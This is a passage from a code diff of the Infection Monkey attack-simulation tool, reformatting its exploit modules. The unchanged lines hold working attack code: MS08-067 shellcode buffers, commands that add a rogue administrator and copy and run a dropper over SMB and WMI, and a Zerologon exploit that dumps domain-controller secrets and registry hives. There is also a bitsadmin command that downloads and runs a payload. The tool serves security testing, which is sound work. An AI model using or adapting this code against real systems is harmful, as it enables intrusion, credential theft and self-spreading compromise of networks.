"\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a" + "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00" + "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02" + "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41" + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90" + "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00" + "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00" ) # Payload for Windows 2000 target @@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "Microsoft Server Service" _windows_versions = { - "Windows Server 2003 3790 Service Pack 2":WindowsVersion.Windows2003_SP2, - "Windows Server 2003 R2 3790 Service Pack 2":WindowsVersion.Windows2003_SP2, - "Windows 5.1":WindowsVersion.WindowsXP, + "Windows Server 2003 3790 Service Pack 2": WindowsVersion.Windows2003_SP2, + "Windows Server 2003 R2 3790 Service Pack 2": WindowsVersion.Windows2003_SP2, + "Windows 5.1": WindowsVersion.WindowsXP, } def __init__(self, host): @@ -202,19 +202,19 @@ def __init__(self, host): def is_os_supported(self): if self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get("version") in list( - self._windows_versions.keys() + self._windows_versions.keys() ): return True if not self.host.os.get("type") or ( - self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version") + self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version") ): is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(self.host): return self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get( - "version" + "version" ) in list(self._windows_versions.keys()) return False @@ -226,7 +226,7 @@ def _exploit_host(self): return False os_version = self._windows_versions.get( - self.host.os.get("version"), WindowsVersion.Windows2003_SP2 + self.host.os.get("version"), WindowsVersion.Windows2003_SP2 ) exploited = False @@ -237,12 +237,12 @@ def _exploit_host(self): sock = exploit.start() sock.send( - "cmd /c (net user {} {} /add) &&" - " (net localgroup administrators {} /add)\r\n".format( - self._config.user_to_add, - self._config.remote_user_pass, - self._config.user_to_add, - ).encode() + "cmd /c (net user {} {} /add) &&" + " (net localgroup administrators {} /add)\r\n".format( + self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add, + ).encode() ) time.sleep(2) sock.recv(1000) @@ -260,22 +260,22 @@ def _exploit_host(self): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( - self.host, - src_path, - self._config.dropper_target_path_win_32, - self._config.user_to_add, - self._config.remote_user_pass, + self.host, + src_path, + self._config.dropper_target_path_win_32, + self._config.user_to_add, + self._config.remote_user_pass, ) if not remote_full_path: # try other passwords for administrator for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file( - self.host, - src_path, - self._config.dropper_target_path_win_32, - "Administrator", - password, + self.host, + src_path, + self._config.dropper_target_path_win_32, + "Administrator", + password, ) if remote_full_path: break @@ -286,18 +286,18 @@ def _exploit_host(self): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % { - "dropper_path":remote_full_path + "dropper_path": remote_full_path } + build_monkey_commandline( - self.host, - get_monkey_depth() - 1, - SRVSVC_Exploit.TELNET_PORT, - self._config.dropper_target_path_win_32, + self.host, + get_monkey_depth() - 1, + SRVSVC_Exploit.TELNET_PORT, + self._config.dropper_target_path_win_32, ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { - "monkey_path":remote_full_path + "monkey_path": remote_full_path } + build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT + self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT ) try: @@ -313,10 +313,10 @@ def _exploit_host(self): pass LOG.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, - self.host, - cmdline, + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + remote_full_path, + self.host, + cmdline, ) return True diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 51397d8c706..cad313f8c62 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -55,27 +55,25 @@ def _exploit_host(self): except AccessDeniedException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) LOG.debug( - ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging + ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging ) continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) LOG.debug( - ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging + ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging ) continue except socket.error: LOG.debug( - ( - "Network error in WMI connection to %r with " % self.host) + - creds_for_logging + ("Network error in WMI connection to %r with " % self.host) + creds_for_logging ) return False except Exception as exc: LOG.debug( - ("Unknown WMI connection error to %r with " % self.host) - + creds_for_logging - + (" (%s):\n%s" % (exc, traceback.format_exc())) + ("Unknown WMI connection error to %r with " % self.host) + + creds_for_logging + + (" (%s):\n%s" % (exc, traceback.format_exc())) ) return False @@ -83,10 +81,10 @@ def _exploit_host(self): # query process list and check if monkey already running on victim process_list = WmiTools.list_object( - wmi_connection, - "Win32_Process", - fields=("Caption",), - where="Name='%s'" % ntpath.split(src_path)[-1], + wmi_connection, + "Win32_Process", + fields=("Caption",), + where="Name='%s'" % ntpath.split(src_path)[-1], ) if process_list: wmi_connection.close() @@ -96,14 +94,14 @@ def _exploit_host(self): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( - self.host, - src_path, - self._config.dropper_target_path_win_32, - user, - password, - lm_hash, - ntlm_hash, - self._config.smb_download_timeout, + self.host, + src_path, + self._config.dropper_target_path_win_32, + user, + password, + lm_hash, + ntlm_hash, + self._config.smb_download_timeout, ) if not remote_full_path: @@ -112,45 +110,45 @@ def _exploit_host(self): # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % { - "dropper_path":remote_full_path + "dropper_path": remote_full_path } + build_monkey_commandline( - self.host, - get_monkey_depth() - 1, - WmiExploiter.VULNERABLE_PORT, - self._config.dropper_target_path_win_32, + self.host, + get_monkey_depth() - 1, + WmiExploiter.VULNERABLE_PORT, + self._config.dropper_target_path_win_32, ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { - "monkey_path":remote_full_path + "monkey_path": remote_full_path } + build_monkey_commandline( - self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT + self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT ) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( - cmdline, ntpath.split(remote_full_path)[0], None + cmdline, ntpath.split(remote_full_path)[0], None ) if (0 != result.ProcessId) and (not result.ReturnValue): LOG.info( - "Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)", - remote_full_path, - self.host, - result.ProcessId, - cmdline, + "Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)", + remote_full_path, + self.host, + result.ProcessId, + cmdline, ) self.add_vuln_port(port="unknown") success = True else: LOG.debug( - "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, " - "cmdline=%r)", - remote_full_path, - self.host, - result.ProcessId, - result.ReturnValue, - cmdline, + "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, " + "cmdline=%r)", + remote_full_path, + self.host, + result.ProcessId, + result.ReturnValue, + cmdline, ) success = False diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 28c73cc52b0..12478d8a957 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -55,8 +55,8 @@ def _exploit_host(self) -> bool: else: LOG.info( - "Exploit not attempted. Target is most likely patched, or an error was " - "encountered." + "Exploit not attempted. Target is most likely patched, or an error was " + "encountered." ) return False @@ -133,8 +133,8 @@ def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool: self.report_login_attempt(result=False, user=self.dc_name) _exploited = False LOG.info( - f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something " - f"went wrong." + f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something " + f"went wrong." ) return _exploited @@ -197,14 +197,14 @@ def restore_password(self) -> bool: def get_all_user_creds(self) -> List[Tuple[str, Dict]]: try: options = OptionsForSecretsdump( - target=f"{self.dc_name}$@{self.dc_ip}", - # format for DC account - "NetBIOSName$@0.0.0.0" - target_ip=self.dc_ip, - dc_ip=self.dc_ip, + target=f"{self.dc_name}$@{self.dc_ip}", + # format for DC account - "NetBIOSName$@0.0.0.0" + target_ip=self.dc_ip, + dc_ip=self.dc_ip, ) dumped_secrets = self.get_dumped_secrets( - remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options + remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options ) self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) @@ -214,28 +214,28 @@ def get_all_user_creds(self) -> List[Tuple[str, Dict]]: for user in self._extracted_creds.keys(): if user == admin: # most likely to work so try this first creds_to_use_for_getting_original_pwd_hashes.insert( - 0, (user, self._extracted_creds[user]) + 0, (user, self._extracted_creds[user]) ) else: creds_to_use_for_getting_original_pwd_hashes.append( - (user, self._extracted_creds[user]) + (user, self._extracted_creds[user]) ) return creds_to_use_for_getting_original_pwd_hashes except Exception as e: LOG.info( - f"Exception occurred while dumping secrets to get some username and its " - f"password's NT hash: {str(e)}" + f"Exception occurred while dumping secrets to get some username and its " + f"password's NT hash: {str(e)}" ) return None def get_dumped_secrets( - self, - remote_name: str = "", - username: str = "", - options: Optional[object] = None, + self, + remote_name: str = "", + username: str = "", + options: Optional[object] = None, ) -> List[str]: dumper = DumpSecrets(remote_name=remote_name, username=username, options=options) dumped_secrets = dumper.dump().split("\n") @@ -253,34 +253,34 @@ def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> None: user_RID, lmhash, nthash = parts_of_secret[1:4] self._extracted_creds[user] = { - "RID":int(user_RID), # relative identifier - "lm_hash":lmhash, - "nt_hash":nthash, + "RID": int(user_RID), # relative identifier + "lm_hash": lmhash, + "nt_hash": nthash, } def store_extracted_creds_for_exploitation(self) -> None: for user in self._extracted_creds.keys(): self.add_extracted_creds_to_exploit_info( - user, - self._extracted_creds[user]["lm_hash"], - self._extracted_creds[user]["nt_hash"], + user, + self._extracted_creds[user]["lm_hash"], + self._extracted_creds[user]["nt_hash"], ) self.add_extracted_creds_to_monkey_config( - user, - self._extracted_creds[user]["lm_hash"], - self._extracted_creds[user]["nt_hash"], + user, + self._extracted_creds[user]["lm_hash"], + self._extracted_creds[user]["nt_hash"], ) def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: self.exploit_info["credentials"].update( - { - user:{ - "username":user, - "password":"", - "lm_hash":lmhash, - "ntlm_hash":nthash, - } + { + user: { + "username": user, + "password": "", + "lm_hash": lmhash, + "ntlm_hash": nthash, } + } ) # so other exploiters can use these creds @@ -300,11 +300,11 @@ def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> try: options = OptionsForSecretsdump( - dc_ip=self.dc_ip, - just_dc=False, - system=os.path.join(os.path.expanduser("~"), "monkey-system.save"), - sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"), - security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), + dc_ip=self.dc_ip, + just_dc=False, + system=os.path.join(os.path.expanduser("~"), "monkey-system.save"), + sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"), + security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), ) dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options) @@ -315,8 +315,8 @@ def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> except Exception as e: LOG.info( - f"Exception occurred while dumping secrets to get original DC password's NT " - f"hash: {str(e)}" + f"Exception occurred while dumping secrets to get original DC password's NT " + f"hash: {str(e)}" ) finally: @@ -324,15 +324,14 @@ def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool: LOG.info( - f"Starting remote shell on victim with credentials:\n" - f"user: {username}\n" - f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : " - f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}" + f"Starting remote shell on victim with credentials:\n" + f"user: {username}\n" + f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : " + f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}" ) wmiexec = Wmiexec( - ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), - domain=self.dc_ip + ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip ) remote_shell = wmiexec.get_remote_shell() @@ -341,9 +340,9 @@ def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> b try: # Save HKLM keys on victim. remote_shell.onecmd( - "reg save HKLM\\SYSTEM system.save && " - + "reg save HKLM\\SAM sam.save && " - + "reg save HKLM\\SECURITY security.save" + "reg save HKLM\\SYSTEM system.save && " + + "reg save HKLM\\SAM sam.save && " + + "reg save HKLM\\SECURITY security.save" ) # Get HKLM keys locally (can't run these together because it needs to call @@ -390,7 +389,7 @@ def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> return False def try_restoration_attempt( - self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str + self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str ) -> Optional[object]: try: restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash) @@ -406,7 +405,7 @@ def try_restoration_attempt( return False def attempt_restoration( - self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str + self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str ) -> Optional[object]: plaintext = b"\x00" * 8 ciphertext = b"\x00" * 8 @@ -414,26 +413,26 @@ def attempt_restoration( # Send challenge and authentication request. server_challenge_response = nrpc.hNetrServerReqChallenge( - rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext + rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext ) server_challenge = server_challenge_response["ServerChallenge"] server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, - self.dc_handle + "\x00", - self.dc_name + "$\x00", - nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - self.dc_name + "\x00", - ciphertext, - flags, + rpc_con, + self.dc_handle + "\x00", + self.dc_name + "$\x00", + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + self.dc_name + "\x00", + ciphertext, + flags, ) assert server_auth["ErrorCode"] == 0 session_key = nrpc.ComputeSessionKeyAES( - None, - b"\x00" * 8, - server_challenge, - unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"), + None, + b"\x00" * 8, + server_challenge, + unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"), ) try: @@ -444,7 +443,7 @@ def attempt_restoration( ZerologonExploiter._set_up_request(request, self.dc_name) request["PrimaryName"] = NULL pwd_data = impacket.crypto.SamEncryptNTLMHash( - unhexlify(original_pwd_nthash), session_key + unhexlify(original_pwd_nthash), session_key ) request["UasNewPassword"] = pwd_data diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index 6601a5ea4c9..f76fe361b3d 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -98,11 +98,11 @@ def __init__(self, remote_name, username="", password="", domain="", options=Non def connect(self): self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) self.__smb_connection.login( - self.__username, - self.__password, - self.__domain, - self.__lmhash, - self.__nthash, + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, ) def dump(self): # noqa: C901 @@ -138,20 +138,20 @@ def dump(self): # noqa: C901 # cached and that they # will work LOG.debug( - "SMBConnection didn't work, hoping Kerberos will help (%s)" - % str(e) + "SMBConnection didn't work, hoping Kerberos will help (%s)" + % str(e) ) else: raise self.__remote_ops = RemoteOperations( - self.__smb_connection, self.__do_kerberos, self.__kdc_host + self.__smb_connection, self.__do_kerberos, self.__kdc_host ) self.__remote_ops.setExecMethod(self.__options.exec_method) if ( - self.__just_DC is False - and self.__just_DC_NTLM is False - or self.__use_VSS_method is True + self.__just_DC is False + and self.__just_DC_NTLM is False + or self.__use_VSS_method is True ): self.__remote_ops.enableRegistry() bootkey = self.__remote_ops.getBootKey() @@ -160,26 +160,26 @@ def dump(self): # noqa: C901 except Exception as e: self.__can_process_SAM_LSA = False if ( - str(e).find("STATUS_USER_SESSION_DELETED") - and os.getenv("KRB5CCNAME") is not None - and self.__do_kerberos is True + str(e).find("STATUS_USER_SESSION_DELETED") + and os.getenv("KRB5CCNAME") is not None + and self.__do_kerberos is True ): # Giving some hints here when SPN target name validation is set to # something different to Off. # This will prevent establishing SMB connections using TGS for SPNs # different to cifs/. LOG.error( - "Policy SPN target name validation might be restricting full " - "DRSUAPI dump." + "Try -just-dc-user" + "Policy SPN target name validation might be restricting full " + "DRSUAPI dump." + "Try -just-dc-user" ) else: LOG.error("RemoteOperations failed: %s" % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA. if ( - self.__just_DC is False - and self.__just_DC_NTLM is False - and self.__can_process_SAM_LSA + self.__just_DC is False + and self.__just_DC_NTLM is False + and self.__can_process_SAM_LSA ): try: if self.__is_remote is True: @@ -188,7 +188,7 @@ def dump(self): # noqa: C901 SAM_file_name = self.__sam_hive self.__SAM_hashes = SAMHashes( - SAM_file_name, bootkey, isRemote=self.__is_remote + SAM_file_name, bootkey, isRemote=self.__is_remote ) self.__SAM_hashes.dump() except Exception as e: @@ -201,10 +201,10 @@ def dump(self): # noqa: C901 SECURITY_file_name = self.__security_hive self.__LSA_secrets = LSASecrets( - SECURITY_file_name, - bootkey, - self.__remote_ops, - isRemote=self.__is_remote, + SECURITY_file_name, + bootkey, + self.__remote_ops, + isRemote=self.__is_remote, ) self.__LSA_secrets.dumpCachedHashes() self.__LSA_secrets.dumpSecrets() @@ -223,13 +223,13 @@ def dump(self): # noqa: C901 NTDS_file_name = self.__ntds_file self.__NTDS_hashes = NTDSHashes( - NTDS_file_name, - bootkey, - isRemote=self.__is_remote, - noLMHash=self.__no_lmhash, - remoteOps=self.__remote_ops, - useVSSMethod=self.__use_VSS_method, - justNTLM=self.__just_DC_NTLM, + NTDS_file_name, + bootkey, + isRemote=self.__is_remote, + noLMHash=self.__no_lmhash, + remoteOps=self.__remote_ops, + useVSSMethod=self.__use_VSS_method, + justNTLM=self.__just_DC_NTLM, ) try: self.__NTDS_hashes.dump() @@ -245,8 +245,8 @@ def dump(self): # noqa: C901 LOG.error(e) if self.__use_VSS_method is False: LOG.error( - "Something wen't wrong with the DRSUAPI approach. Try again with " - "-use-vss parameter" + "Something wen't wrong with the DRSUAPI approach. Try again with " + "-use-vss parameter" ) self.cleanup() except (Exception, KeyboardInterrupt) as e: diff --git a/monkey/infection_monkey/exploit/zerologon_utils/options.py b/monkey/infection_monkey/exploit/zerologon_utils/options.py index 0c888a45918..0745dc4c6eb 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/options.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/options.py @@ -26,14 +26,14 @@ class OptionsForSecretsdump: use_vss = False def __init__( - self, - dc_ip=None, - just_dc=True, - sam=None, - security=None, - system=None, - target=None, - target_ip=None, + self, + dc_ip=None, + just_dc=True, + sam=None, + security=None, + system=None, + target=None, + target_ip=None, ): # dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in # ../zerologon.py diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index 91511226f45..3097610fb97 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -134,11 +134,11 @@ def output_callback(data): self.__outputBuffer += data.decode(self.CODEC) except UnicodeDecodeError: LOG.error( - "Decoding error detected, consider running chcp.com at the target," - "\nmap the result with " - "https://docs.python.org/3/library/codecs.html#standard-encodings\nand " - "then execute wmiexec.py " - "again with -codec and the corresponding codec" + "Decoding error detected, consider running chcp.com at the target," + "\nmap the result with " + "https://docs.python.org/3/library/codecs.html#standard-encodings\nand " + "then execute wmiexec.py " + "again with -codec and the corresponding codec" ) self.__outputBuffer += data.decode(self.CODEC, errors="replace") diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py index 0f345aa804d..467c41d69f6 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -23,14 +23,14 @@ def _get_dc_name(dc_ip: str) -> str: """ nb = nmb.NetBIOS.NetBIOS() name = nb.queryIPForName( - ip=dc_ip, timeout=MEDIUM_REQUEST_TIMEOUT + ip=dc_ip, timeout=MEDIUM_REQUEST_TIMEOUT ) # returns either a list of NetBIOS names or None if name: return name[0] else: raise DomainControllerNameFetchError( - "Couldn't get domain controller's name, maybe it's on external network?" + "Couldn't get domain controller's name, maybe it's on external network?" ) @@ -62,21 +62,21 @@ def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5) # Send challenge and authentication request. nrpc.hNetrServerReqChallenge( - rpc_con, - zerologon_exploiter_object.dc_handle + "\x00", - zerologon_exploiter_object.dc_name + "\x00", - plaintext, + rpc_con, + zerologon_exploiter_object.dc_handle + "\x00", + zerologon_exploiter_object.dc_name + "\x00", + plaintext, ) try: server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, - zerologon_exploiter_object.dc_handle + "\x00", - zerologon_exploiter_object.dc_name + "$\x00", - nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - zerologon_exploiter_object.dc_name + "\x00", - ciphertext, - flags, + rpc_con, + zerologon_exploiter_object.dc_handle + "\x00", + zerologon_exploiter_object.dc_name + "$\x00", + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + zerologon_exploiter_object.dc_name + "\x00", + ciphertext, + flags, ) assert server_auth["ErrorCode"] == 0 @@ -84,7 +84,7 @@ def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5) except nrpc.DCERPCSessionError as ex: if ( - ex.get_error_code() == 0xC0000022 + ex.get_error_code() == 0xC0000022 ): # STATUS_ACCESS_DENIED error; if not this, probably some other issue. pass else: diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index 615994b1f43..2486998e4a3 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -73,26 +73,26 @@ def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$") def connect(self): self.smbConnection = SMBConnection(self.__ip, self.__ip) self.smbConnection.login( - user=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash, + user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, ) self.dcom = DCOMConnection( - target=self.__ip, - username=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash, - oxidResolver=True, + target=self.__ip, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True, ) try: iInterface = self.dcom.CoCreateInstanceEx( - wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login ) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) @@ -107,7 +107,7 @@ def get_remote_shell(self): self.connect() win32Process, _ = self.iWbemServices.GetObject("Win32_Process") self.shell = RemoteShell( - self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME + self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME ) return self.shell diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index c72f5b24239..9bdece16dd4 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -22,24 +22,24 @@ LOG = None LOG_CONFIG = { - "version":1, - "disable_existing_loggers":False, - "formatters":{ - "standard":{ - "format":"%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(" - "funcName)s.%(lineno)d: %(message)s" + "version": 1, + "disable_existing_loggers": False, + "formatters": { + "standard": { + "format": "%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(" + "funcName)s.%(lineno)d: %(message)s" }, }, - "handlers":{ - "console":{"class":"logging.StreamHandler", "level":"DEBUG", "formatter":"standard"}, - "file":{ - "class":"logging.FileHandler", - "level":"DEBUG", - "formatter":"standard", - "filename":None, + "handlers": { + "console": {"class": "logging.StreamHandler", "level": "DEBUG", "formatter": "standard"}, + "file": { + "class": "logging.FileHandler", + "level": "DEBUG", + "formatter": "standard", + "filename": None, }, }, - "root":{"level":"DEBUG", "handlers":["console"]}, + "root": {"level": "DEBUG", "handlers": ["console"]}, } @@ -72,13 +72,13 @@ def main(): print("Error loading config: %s, using default" % (e,)) else: print( - "Config file wasn't supplied and default path: %s wasn't found, using internal " - "default" % (config_file,) + "Config file wasn't supplied and default path: %s wasn't found, using internal " + "default" % (config_file,) ) print( - "Loaded Configuration: %r" - % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()) + "Loaded Configuration: %r" + % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()) ) # Make sure we're not in a machine that has the kill file @@ -128,8 +128,7 @@ def log_uncaught_exceptions(ex_cls, ex, tb): sys.excepthook = log_uncaught_exceptions LOG.info( - ">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, - os.getpid() + ">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, os.getpid() ) LOG.info(f"version: {get_version()}") @@ -144,12 +143,12 @@ def log_uncaught_exceptions(ex_cls, ex, tb): with open(config_file, "w") as config_fo: json_dict = WormConfiguration.as_dict() json.dump( - json_dict, - config_fo, - skipkeys=True, - sort_keys=True, - indent=4, - separators=(",", ": "), + json_dict, + config_fo, + skipkeys=True, + sort_keys=True, + indent=4, + separators=(",", ": "), ) return True diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 1bfee3ef2b0..4f6f8de4abc 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -27,12 +27,12 @@ MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = ( - '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' - '&cmd /c %%(monkey_path)s %s"' - % ( - CMD_PREFIX, - MONKEY_ARG, - ) + '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' + '&cmd /c %%(monkey_path)s %s"' + % ( + CMD_PREFIX, + MONKEY_ARG, + ) ) DELAY_DELETE_CMD = ( "cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & " diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 086a163a852..c81a6251746 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -100,8 +100,7 @@ def initialize(self): WormConfiguration.command_servers.insert(0, self._default_server) else: LOG.debug( - "Default server: %s is already in command servers list" % - self._default_server + "Default server: %s is already in command servers list" % self._default_server ) def start(self): @@ -162,8 +161,8 @@ def start(self): break machines = self._network.get_victim_machines( - max_find=WormConfiguration.victims_max_find, - stop_callback=ControlClient.check_for_stop, + max_find=WormConfiguration.victims_max_find, + stop_callback=ControlClient.check_for_stop, ) is_empty = True for machine in machines: @@ -173,17 +172,17 @@ def 